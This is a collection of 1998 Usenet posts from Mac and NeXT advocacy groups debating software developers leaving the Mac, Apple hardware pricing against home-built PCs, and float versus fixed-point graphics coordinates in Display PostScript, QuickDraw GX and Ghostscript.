Organization: Macromedia
Message-ID: <mNOSPAMroeder-0206981658270001@192.168.21.176>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
> Yes, we all know Joe's response, show us the companies leaving the mac.
> How about this Joe,
> 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
> now, ONLY %20 do.
Let's have a list here, please. Microsoft publishes all their
office-productivity software for Mac as well as Windows; Adobe and
Macromedia publish just about everything for both platforms. Netscape is
available for Mac and Windows. There are tons of shareware titles
available for the MAc that aren't avaiolable on Windows. So what software
are we talking about? Names, please: publisher and title.
> That certainly sounds like developers leaving the mac to me.
> From a link from www.macnn.com:
>
> A vibrant, continually renewing roster of software titles is especially
> important in the home market. Its growth has been driven by exciting new
> computer games.
>
> Alas, most game developers are not writing for the Mac - sadly, for good
> reason. It's very difficult to sell Mac titles.
> Take id Software, developer of the popular shoot-'em-up game ``Quake.'' It
> did a Mac version of the original game but sold only 50,000 copies. Not
> surprisingly, it didn't bother with a Mac version of ``Quake II.''
> ``Every month I take a look at the number of Mac titles sold, and it is
> not good,'' says Luc Barthelet, general manager of game maker Maxis.
> ``Sales are still declining month to month.''
>
>
> Not surprisingly, Barthelet has not decided yet whether Maxis will release
> a Mac version of its upgrade to ``SimCity,'' scheduled for release next
> fall.
>
> Maxis is not alone. Scores of developers never even bother with a Mac
> version of their games. And many of those who do wait a year or more
> before releasing Mac versions.
>
> That means Mac users rarely can play the hottest games on the market.
> They're second-class citizens in this arena.
Oh, dear, and I really needed SimCity and Quake for my work! Man, not
having games to run on my Mac, what a bummer!
--
Michael Roeder, QA Engineer, Speaking for himself.
mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 2 Jun 1998 21:58:53 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6l2e8q$i021@odie.mcleod.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de>
Floating point coordinate systems will generally provide better precision
and more flexibility than fixed point coordinate systems. Can we all agree
?
Sometimes you want think fractions...sometimes you want really big numbers.
Float gives you that flexibility while retaining a good level of precision
(~7 to 9 significant digits).
Embedded graphics, very large data sets, extremely zoomed images, etc all
benefit. Why should the programmer have to worry about scaling or clipping
her data set ? Why she have to worry about zoom factors ? This is all
with in reason of course. DPS just provides a more reasonable "within
reason" than GX.
Unless she defines fonts or hand creates binary streams, a programmer need
never know if her DPS implementation is fixed or float or both. The AppKit
in YellowBox is also all float coords.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 02 Jun 1998 19:03:36 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357492D8.45AC1CD1@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <slrn6n8l25.npd.sal@panix2.panix.com>
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NNTP-Posting-Date: 3 Jun 1998 00:08:47 GMT
Salvatore Denaro wrote:
> >You're missing the point. I'm talking about an overall quality
> >*improvement*.
>
> Huh? Has Apple quality been going down? I have not seen that. If anything,
> Apple is building much nicer hardware no that they have someone with a
> clue running the show.
I'm going to try to be brief; I don't see the point in wasting a lot of
time on these, since you're highly obtuse in most of your replies.
First off: no, I did not claim that Apple quality has been going down.
Stick to the topic: I said that my proposals involved a quality
improvement. You're on your own from now on, figure it out yourself.
> >Hmm, I could be wrong, but probably because it's easier to spend $27 for
> >a 250W power supply upgrade than it is to cut new holes in the case.
>
> $20 here and $20 there. Plus all the *TIME* you spend dealing with upgreads
> and "minor incompatibilites" TANSTAAFL. You can pay now or you can pay
> latter.
Actually, it's $20 here or $100 there for an external drive enclosure.
Oh, wait, external SCSI on a Mac is limited to 5MB/sec, you may need to
upgrade to an Adaptec 2940UW. That brings us to $20 here or $400 there.
You figure it out. I don't need to drill this one in any more. It seems
the subtle approach isn't working in this conversation.
> >Wait, where's everybody going? What do you want with those shitty PCs?
> >Come back, DON'T YOU KNOW ANYTHING ABOUT QUALITY?
>
> Apple had *NO* consumer machines. Apple had *NO* consumer presence. Apple
> had NO marketing. It had nothing to do with people wanting shitty PCs,
> there was *NO* choice. There have always been $1k machine, no one cared
> until Compaq and the "big-boys" started to build them.
This is misleading and I don't know what it has to do with the
conversation. I'm saying Apple should give people choices, you *were*
saying that they shouldn't, now you say lack of choice was the problem.
I give up. You're on your own.
> >Ever go grocery shopping?
>
> Yes. I don't clip coupons. I don't hunt down a $.05 bargin. It isn't
> worth my time. I'll buy dry pasta over the fresh pasta in the dairy
> section, it's cheaper and it lasts longer. But I won't go out of my way
> to save money.
Fine. The model Apple customer.
My point, in brief, was that you rule out choices when you grocery shop
if you look for value. There is no guarantee that every choice is a good
choice. That's not the point. I don't know what *your* point is, but
that's what I was saying.
In case I'm confusing you, you might have noticed that my postings are
broken up in a peculiar way, with paragraphs inserted between quoted
sections. Now I know that that seems odd and arbitrary, but there's
actually a reason for it. See, if you look carefully, the inserted
paragraphs are actually *direct responses* to the quoted sections above
them.
I think this will help you to understand the flow of the conversation
more fluently. See, if you reread the quoted section, then read *my*
response, you can actually pretend to be following the flow, instead of
going off on crazy tangents.
> >I bought an ESS 1869 plug-n-play sound card from an aftermarket dealer
> >for fifteen dollars. I paid for it with change out of my pocket,
>
> For every bargin like that, there must be dozens of horror stories. We
> had problems with ne2000 cards. I'm sure you've seen plenty of sound card
> problems cased by less than compatible cards.
And if you know what you're doing you can figure out what's good and
what's not and still save money. You told me yourself that the NE2000
thing was caused by a software situation within your organization. What,
then, does your NE2000 problem have to do with this conversation. I've
already said that the NE2000 design is 15 f***ing years old.
Just get over it.
> Sometime it is worth the extra money to not gamble. And to get something
> that just works.
Sometimes it is worth the extra effort to develop competency rather than
blind dependence. Even if you trust an integrator you have to spend
effort developing that trust, or you're just shooting in the dark. The
point is that you're going to have to be a responsible consumer either
way; whining that Apple makes everything so simple for a modest fee is
really no excuse, not when the rest of the market demonstrates so much
more responsibility.
> >Too bad. I know this story. And yes, you're right; the NE2000
> >compatibility issue is a miserable ordeal to endure.
>
> You can see why it would be better to pay a few bucks extra and buy
> something that "just works"?
Again, *phwooosh*, right over the heads of my audience. You can get a
cheap DEC Tulip PCI network card for barely lunch money. You're going to
be using less CPU, suffering fewer buffer overflows, seeing fewer driver
incompatibilities, and experiencing less difficulty with cabling.
The thing is, you have to actually spend 15 minutes of research in the
*avalanche* of material covering these subjects. It takes less time to
become fluent in desktop networking products than it takes to learn to
make a ham sandwich. I certainly didn't go to class to learn this. For
God's sake, I hope not.
> QA. It takes time and cost money. Are you goign to build 10k machiens
> for a fortune 500 company yourself? Of course not. You'll have to hire
> people and train them and pay them. That costs money. And as part change
> you'll have to retrain them.
I'm old enough to understand the basic employment model, but what I
don't understand is where you happen to be going with this.
> >So you say. Diamond M80 for $80, less for a wholesaler. Support for both
> >major 3D sound APIs, PCI interface, robust onboard memory, voice,
>
> That is a lot more than the $15 card you listed before. Is it better? (And
> if it is better, can't you see my point that Building better machines is
> more expensive than building low end junk?)
[sigh] More of this linear thinking.
> >synthesizer, and mixing support. Average 3% CPU utilization during full
> >operation. That's called *value*, and that's *not* what Apple delivers.
>
> Why not do that in software? If is much easier to add a new codec or a
> new filter than to replace hardware.
Yikes. And *you* were the one complaining about the NE2000.
1) Software codecs chew CPU. In an age when 3D accelerators are waiting
on central processors for geometry data, CPU is a priceless commodity.
Software codecs are dead.
2) Adding a new codec or filter is *not* easier than replacing hardware.
Hardware can be replaced by anybody with a screwdriver and an ESD strap.
Replacing software components requires a certification, in most
instances. Software is more expensive in terms of dollars, training,
time, and complexity than hardware in almost every instance.
> >DataComm Warehouse, $50. Again, for a wholesaler, maybe $35 in lots of
> >100.
>
> That is more than the $20 price for a no-name ne2k clone. Can't you see my
> point yet? Building better hardware costs more money.
More money than what? You still haven't defined any terms, identified
any variables, or otherwise framed your point in any provable way. All
you're proving is that you can come up with cheaper solutions than mine.
If that alone is supposed to buoy Apple's business method to the moral
high ground, I'm terribly confused, because *my* solutions are cheaper
*AND* better than Apple's. Yours are just cheaper.
> >You're missing the point: Apple doesn't put such things in its machines,
> >Salvatore! It charges a premium without delivering the quality I'm
> >describing. I'm telling you how to build a *better* PC than most Macs.
>
> What about the 99.99% of people who have no desire to build thier own
> machine?
[sigh] End users don't build Macs. What made you believe I was talking
about end users?
A quote (maybe you'll actually read this one): "Apple doesn't put such
things in its machines...".
Salvatore: is Apple an end user? Figure it out.
> >Heh, heh. He's ahead of me. I have USB on my 18-month-old VX
> >motherboard.
>
> VX? I have one of those. It will only cache 64mb of RAM, despite the fact
> that it claims to support 384mb of RAM.
What do you mean, "it claims"? It *does* support 384MB of RAM. It will
cache only 64MB of that RAM, meaning that if you use more than 64MB you
will experience roughly a 5% performance hit, on average.
> It is limited to 32mb SDRAMs. And
> it's USB support is broken. (BTW, feel free to look up my post to the
> PC hardware newsgroup. I asked for help getting 64mb SDRAMs working on
> my VX based machine.)
I'm sorry it was any trouble. There is a pretty good amount of this kind
of information out there...you might have waited to buy until you knew
what were your options. My point, exactly.
> My old SE/30 could support more than 64mb or RAM, why can't my newer PC?
Your old SE/30 cost more than your newer PC (even without adjusting for
inflation). In fact, even if you were to buy a nice fat BX chipset from
Intel today, you'd still be paying less money than you paid for that
SE/30. And you'd be able to support *more* RAM. Your point eludes me.
[cut]
> I find it odd that you claim that Apple has poor QA, just a few posts
> after calling g3 machines "sweet" and agreeing that Rhapsody will make
> Apple hardware more desirable.
I know the competency of Apple's QA firsthand, Salvatore, probably
better than you do. I've been a customer for a long time and I've seen a
*lot* of Apple equipment.
> >You don't understand. I build my own; I pay *less* than a crappy Packard
> >Bell costs, but I get a Black Velveteen \ Oh what a bad machine... (with
>
> And the 99.99% that can't? Should they call you?
Yes. My number is 972-503-7063.
> >manuf. warranty). The Apple Store-Within-a-Store at CompUSA sells them
> >for something like $75.
>
> I'm sure Apple users have march to CompUSA (at gunpoint) to buy a Joystick.
> It isn't like they can also shop around. This is off topic.
I don't really get Mac mail-order magazines anymore, Salvatore. Would
you be a luv and look it up for me?
> I hate to but your bubble, but Apple (under Jobs) has made a major
> push to use standard PC hardware. They are going support USB and AGP
> and anything else that is worth it. Apple is no longer being different
> for the hell of it. This is exactly what you have been asking for.
Oh, whatever! The USB and AGP decisions were made before Jobs joined
Apple! We're talking 18 months ago...and we're just now seeing the
fruits. You'd be better off arguing that Jobs *delayed* USB and AGP,
since it's been so long between the decision and its actual execution.
Talk about bursting bubbles...
> >It seems like people who opposed cloning never understood the realities
> >of the commodity market, presumably because they never left the premises
> >of the closed Apple market. It's understandable, but still plainly
>
> huh? Haven't you noticed that Apple is taking advantage of the commodity
> market? IDE disks and CDs. USB. PCI slots. SDRAM. This is all PC standard
> stuff.
Every single one of the above was something I *FERVENTLY* applauded at
the time the decisions were made.
You'll note that these were all before Jobs joined Apple (exception of
SDRAM, I believe). Basically, in the two years since these decisions
were made, commodity hardware integration has come to a standstill.
After an initial exciting first few months, hardware manufacturers
realized that Apple's committment to the strategy was *again* in flux
(CHRP died) and things went back to normal.
[cut]
> >It depends on your alternatives. I just don't think you realize what the
> >alternatives are.
>
> Yes I do. You can spend time rather than money. That is what you do when
> you build your own machine from parts you shop around for. I prefer not
> to spend time doing that. (That might be why I got stuck with a VX MB)
Hmm, think so? I can tell you that when I bought my VX motherboard I had
no idea what I was doing. I'm not overly disappointed, as a matter of
fact, but the point is that I got out exactly what I put into the
purchasing decision: as little as possible.
> >That's because you've leveraged the argument in exactly the same way
> >Apple fans have always done: isolate to a single variable (level of
> >quality).
>
> This is called "keeping the discussion on topic"
Oh, is *that* what that is?! Ha ha ha ha ha ha!!!!
> >This totally ignores the larger complexities involved,
> >including the economies-of-scale argument. It is factually provable that
> >higher-quality PC hardware is available for lower prices than for those
> >of "high-quality" Apple solutions.
>
> Are you not aware that Apple *IS* using PC hardware?
Uh, Sal, you can't have it both ways. Is Apple hardware different and
more expensive or is it the same and more expensive?
Welcome to your own little semantic trap.
[cut]
> No, it show why Apple has not had to lower the G3 prices (any why Apple's
> margins have increased). They have a product that is in high demand. A lot
> of people find that the g3 is a good value. When demand drops, the price
> will drop with it.
Actually, I rather think that high prices are keeping demand *low*.
Apple's marketshare isn't increasing, is it, Salvatore? I wonder why
that is...
> Simple supply and demand economics.
No, you've described something you just made up: "price and demand
economics". There is actually no such thing.
A supply and demand argument would hold that G3 supply is sufficiently
low, while demand is high, that Apple can charge high prices and still
sell its machines out.
[cut]
> >MacOSRumors provides faintly-glimmering hope for an Intel MacOS X.
> ------^^^^^^
>
> (Key word hilighted)
You're so silly. You seem to think that making this point over and over
again makes you sound brilliant. Maybe you missed the fact that I termed
it "faintly-glimmering hope".
[cut]
> >Uhhh, no.
>
> What do you want for free, (You rotten ingrate!!! :)
Heh. I want a reasonably robust compiler, not crippleware. Apple can
charge me $2000 for it two years from now; for the time being I'm not
going to put up money to help bail water out of Apple's little ship.
When it can float on its own, come back to me and ask me to pay my fare.
I'll be glad to put up.
> >Wrong. I'm not interested. Sorry, see ya later, Apple.
>
> Well, if you want to throw the baby out with the bath water, go ahead. I
> don't see any issues with using a 3rd party X server.
Hell, why not? A 3rd party is less likely to abandon its own products
than Apple is, anyway. Considering Apple's track record, maybe it had
better be a 3rd party thing.
[cut for lack of time]
> >At the end of the curve toward a new technology breakthrough, at which
> >point a new breed of choices will emerge.
>
> Subjective.
Huh? This is totally out of the blue.
> >Unless you live in the Apple world, wherein you get DVD *when Apple's
> >ready for it*, and then only in the form of the amazingly overpriced
>
> And you'll get > 64mb motherboards *when intel is ready*
Get over it, Sal, you bought the wrong motherboard! Cheese and rice!
> and you'll get
> firewire *when intel is ready*
You get it whenever it's ready from whomever.
> and you'll get merced...
When it's finished.
> >Let me put it this way: diminishing returns is a very real phenomenon,
>
> Thank you. That was my point.
You know, that's really very dishonest thing to do. I'm disappointed,
Sal.
> >It has nothing to do with cloning and everything to do with Apple.
>
> I don't follow. Are you saying that cloning was bad for Apple?
I'm saying Apple was bad for cloning.
MJP
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 3 Jun 1998 03:07:06 GMT
Organization: MiscKit Development
Message-ID: <6l2ekq$qm$1@news.xmission.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5> <edremy-ya02408000R0206981803490001@nnrp.usc.edu>
edremy@chem1.usc.edu (edremy) wrote:
> In article <35749ed6.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > [...] Games, entertainment, etc., that sector is a large and
> > growing sector. It's one of the biggest reasons why people buy
> > computers, consistently throughout time. Not addressing it, or
> > an inability to address it effectively is a gaping hole for the
> > platform.
>
> It's especially important to new hardware sales. [...]
Particularly in the _consumer_ market! If you're going to target the low end
(consumers) then you have to give them what they want, which would be a few
basic productivity apps, a web browser, and the big one: games.
Um, who was the iMac going to be targeted at, again?
I think attracting game developers _definitely_ matters to the Mac platform
and if Apple hopes to be successful in the consumer arena (iMac et al.), then
it had better matter a lot to them, too!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Tue, 2 Jun 1998 22:22:19 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6l2fkn$aas1@odie.mcleod.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
MACGHOD wrote in message ...
>Yes, we all know Joe's response, show us the companies leaving the mac.
>How about this Joe,
>3 years ago a WHOOPING %70 of all developers wrote software for the mac,
>now, ONLY %20 do.
>That certainly sounds like developers leaving the mac to me.
>From a link from www.macnn.com:
>
>A vibrant, continually renewing roster of software titles is especially
>important in the home market. Its growth has been driven by exciting new
>computer games.
>
>Alas, most game developers are not writing for the Mac - sadly, for good
>reason. It's very difficult to sell Mac titles.
>Take id Software, developer of the popular shoot-'em-up game ``Quake.'' It
>did a Mac version of the original game but sold only 50,000 copies. Not
>surprisingly, it didn't bother with a Mac version of ``Quake II.''
>``Every month I take a look at the number of Mac titles sold, and it is
>not good,'' says Luc Barthelet, general manager of game maker Maxis.
>``Sales are still declining month to month.''
>
>
>Not surprisingly, Barthelet has not decided yet whether Maxis will release
>a Mac version of its upgrade to ``SimCity,'' scheduled for release next
>fall.
>
>Maxis is not alone. Scores of developers never even bother with a Mac
>version of their games. And many of those who do wait a year or more
>before releasing Mac versions.
>
>That means Mac users rarely can play the hottest games on the market.
>They're second-class citizens in this arena.
>
As a game developer I can confidently state that the MAC market can not
sustain high production value products. At the WWDC Apple Masters Key Note,
Douglas Adams (Writer and game developer) apologetically announced that
"Starship Titanic" would ship for PCs first. (I will read into that - Mac
at some undetermined time later possibly never) Keep in mind that this guy
is a major Apple supporter and an invited Apple Master! There is currently
no or very little business incentive to develop applications (especially
games) for the Mac.
I am afraid Apple is already over the brink and it is too late to recover.
Too bad they did not ship Rhapsody in 1990. They could have; NeXT did in
1988.
I wonder what the annual sales for Microsoft Office 98 Mac are. I wonder
how many days it will take the Windows version to overtake the figure...
(less that 15 ?)
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176>
Subject: Re: Where is all the mac software????
Date: Tue, 2 Jun 1998 23:29:08 -0400
Message-ID: <3574bd11.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Michael Roeder wrote in message ...
>In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>,
>MACGHOD <Macghod@concentric.net> wrote:
>
>> Yes, we all know Joe's response, show us the companies leaving the mac.
>> How about this Joe,
>> 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
>> now, ONLY %20 do.
>
>Let's have a list here, please. Microsoft publishes all their
>office-productivity software for Mac as well as Windows;
..
No they don't. Access is glaringly missing and if you think it isn't a big
deal... you're wrong.
..
..
<SNIP>
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Tue, 02 Jun 1998 21:59:34 -0700
Organization: Trilithon Research and Trading
Message-ID: <3574D836.EB7FB74B@trilithon.com>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk> <B199A6F7-1B326@206.165.43.1>
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Lawson English wrote:
* Oh, well. If my GXFCN ever takes off, you'll have a
* lot of people asking for GX in Carbon and maybe Apple
* will listen then.
It will take off a lot faster if you spend your time developing
the product and less time posting nonsense to the net. When we
see something real that we can evaluate, we'll all be able to form
opinions as to the viability.
So take your medication and all hands to the coding pumps.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: edremy@chem1.usc.edu (edremy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Tue, 02 Jun 1998 18:03:48 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R0206981803490001@nnrp.usc.edu>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5>
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In article <35749ed6.0@206.25.228.5>, jkheit@xtdl.com wrote:
> mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> > Oh, dear, and I really needed SimCity and Quake for my work! Man,
> > not having games to run on my Mac, what a bummer!
>
> It is. Games, entertainment, etc., that sector is a large and
> growing sector. It's one of the biggest reasons why people buy
> computers, consistently throughout time. Not addressing it, or an
> inability to address it effectively is a gaping hole for the
> platform.
It's especially important to new hardware sales. Right now, Joe Average
can do everything he needs to on the lowest, slowest box for sale out
there. Word processing, Quicken, Web browsing (limited by modem speed),
CD-ROM encyclopedias, etc. They all run fine on a 603e-200 or K6-200.
Hell, my 6100-82 runs all of the above fine. I really have no reason to
upgrade my home machine for "work" related things.
So why does Joe Average buy a better system? Well, you could say that Joe
wants better Photoshop, Mathematica and Spartan performance. You'd be
wrong in almost all cases. Joe wants better performance because he can
only get 10fps out of Quake or Myth.
Games drive the hardware market. Fast systems have a lot better profit
margin- Apple should try to get the most demanding, CPU/video intensive
games possible on the Mac. People _will_ upgrade for better gaming
performance. I will as soon as I can talk the wife into it :^)
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Tue, 02 Jun 1998 21:57:00 -0700
Organization: Trilithon Research and Trading
Message-ID: <3574D79C.CE3EB26E@trilithon.com>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk> <B199A6F7-1B326@206.165.43.1>
Mime-Version: 1.0
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Lawson English wrote:
* Translation from quadratic to cubic bezier format can
* be made as accurate as you like.
* TrueType and TT GX are based on quadratic beziers while
* PS Type 1 etc use cubic beziers. Are you claiming
* non-true-WYSIWYG when someone uses a TT font?
Excuse me --- a Bezier [spline] is *by definition* a cubic.
TrueType and TT GX [and, early in history, NeWS] used Quadratic
Splines [the quadratic splines of NeWS were largely developed
by Vaughan Pratt at Stanford], but they were never referred to
as Quadratic Beziers. Once again, you appear to not know what
the hell you are talking about.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Intel Merced delays
Date: 3 Jun 1998 04:58:19 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd8eac$145d9b80$04387880@test1>
References: <6l1ok3$nm1@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror wrote:
> After the latest news that Intel's Merced has slipped
> delivery to some time in 2000, I did a search to find out
> how much it has slipped overall.
[munch]
> PC Week, Jan 19, 1993 has an article that says that Intel
> would deliver a 64-bit chip, the P7, in 1995, with the first
> systems shipping in 1996. (This last item does not have its
[munch]
Wow! Good work.
Sounds a little like feature creep. I seem to recall that Merced is
supposed to run x86 and HP PA-RISC binaries natively. Furthermore, I
have read in this newsgoup or macrumors (so, obviously reliable :^)
that the first generation of Merced will actually run slower than HP's
PA RISC chip shipping at the same time.
I can picture a bunch of business and marketing people, without an
engineer in sight, developing the Merced specs, announcing it to the
world, and then handing it over to the engineering department.
Sounds like a Dilbert comic,
Todd
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 18:05:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B199EF1F-C5EA@206.165.43.16>
References: <6l17n1$rbq$4@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B199A6F7-1B326@206.165.43.1> "Lawson English" claimed:
>> Oh, well. If my GXFCN ever takes off, you'll have a lot of people asking
>> for GX in Carbon and maybe Apple will listen then.
>
> Ahhh yes, that group being defined as the intersection of HC programmers
>and GX users. I believe it consists of one.
Two. Lawrence D'Oliveiro did his own implementation years ago, but only did
a 68K version. His syntax was better, but only because he implemented an
X-thing for each function-call.
There are ~500 functions that I'm implementing in GXFCN. Using a separate
resource for each would likely bloat the system more than you want to think
about since every function would need to duplicate at least some of the
same text-parsing code, whereas I reuse the same code quite a bit in GXFCN.
I've put in a suggestion that HC 3.0 allow external developers to specify
the functions of entire shared libraries and let HC's own parsing routines
resolve the names. This would speed up development of external libraries by
quite a bit, I believe. Of course, there is an issue with the current
implementation of shared libraries and HC. Any X-thing that I implement
which refers to a shared library MUST be running on a system with VM active
or things might get very hairy due to memory fragmentation.
GXFCN is a monollithic resource that doesn't require any shared libraries,
luckily.
BTW,. at least a few kindly friends have expressed interest in purchasing
GXFCN, so it may actually have 5-10 users.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 05:57:40 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l2okk$bjt$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <35744BAE.8D0074FB@trilithon.com> <rex-0206981607490001@192.168.0.3> <6l1pt1$s9f$1@news.cs.tu-berlin.de> <rex-0206981937120001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
> I tried the following code in Ghostscript:
>%!PS
>/Helvetica-Bold findfont 5000000 scalefont setfont
>-3000000 0 moveto (H) show
>showpage
> Nothing was displayed. The window didn't even open, yet part of the 'H'
>should still be visible on the page. I did however get the following error
>message.
>Error: /limitcheck in --.type1execchar--
> Similarly the command:
>-4000000000.1 0 moveto
>Caused:
>Error: /undefined in -4000000000.1
>-4000000000.1 looks like a perfectly valid floating point number to me.
>The following command:
>-400000000.1 0 moveto
>Which has one less zero executed fine.
>The following code:
>
>%!PS
>/Helvetica-Bold findfont 50000 scalefont setfont
>-30000 0 moveto (H) show
>showpage
Now you see why some of us wouldn't be happy with GS as a substitute.
Executing all of this in Yap works fine. No limitcheck, no undefined,
just a window filling with black.
> Opened a window appropriately filled with black. It looks like there
>is some hard limit within Ghostscript on how big certain things can be.
>It doesn't necessarily mean that it's using fixed-point, but there's is a
>floating point coordinate space constraint.
It's called a bug in Ghostscript. Have you ever looked at the code?
I have. Shudder.
> If you want uniformity, IMO, it's better to create a library that uses
>doubles and provides good translation facilities so that a user or
>developer never has to worry that certain Postscript implementations might
>not be able to display their really really large data. Taligent *did* get
>this right.
Sure, or a double-based PS-interpreter. The limitation to float is
not part of the definition, but rather listed in Appendix B,
'Typical Limits'. I am actually considering switching my interpreter
to pure double based because this may actually be faster than
the various tests for integer/float polymorphism on current machines,
and doubles provide sufficent digits to store 32 bit mantissas.
This is just in the interpreter part, mind you.
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Wed, 03 Jun 1998 02:31:00 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0306980231000001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de> <6l2e8q$i021@odie.mcleod.net>
In article <6l2e8q$i021@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
:Floating point coordinate systems will generally provide better precision
:and more flexibility than fixed point coordinate systems. Can we all agree
:?
Yep.
:Embedded graphics, very large data sets, extremely zoomed images, etc all
:benefit.
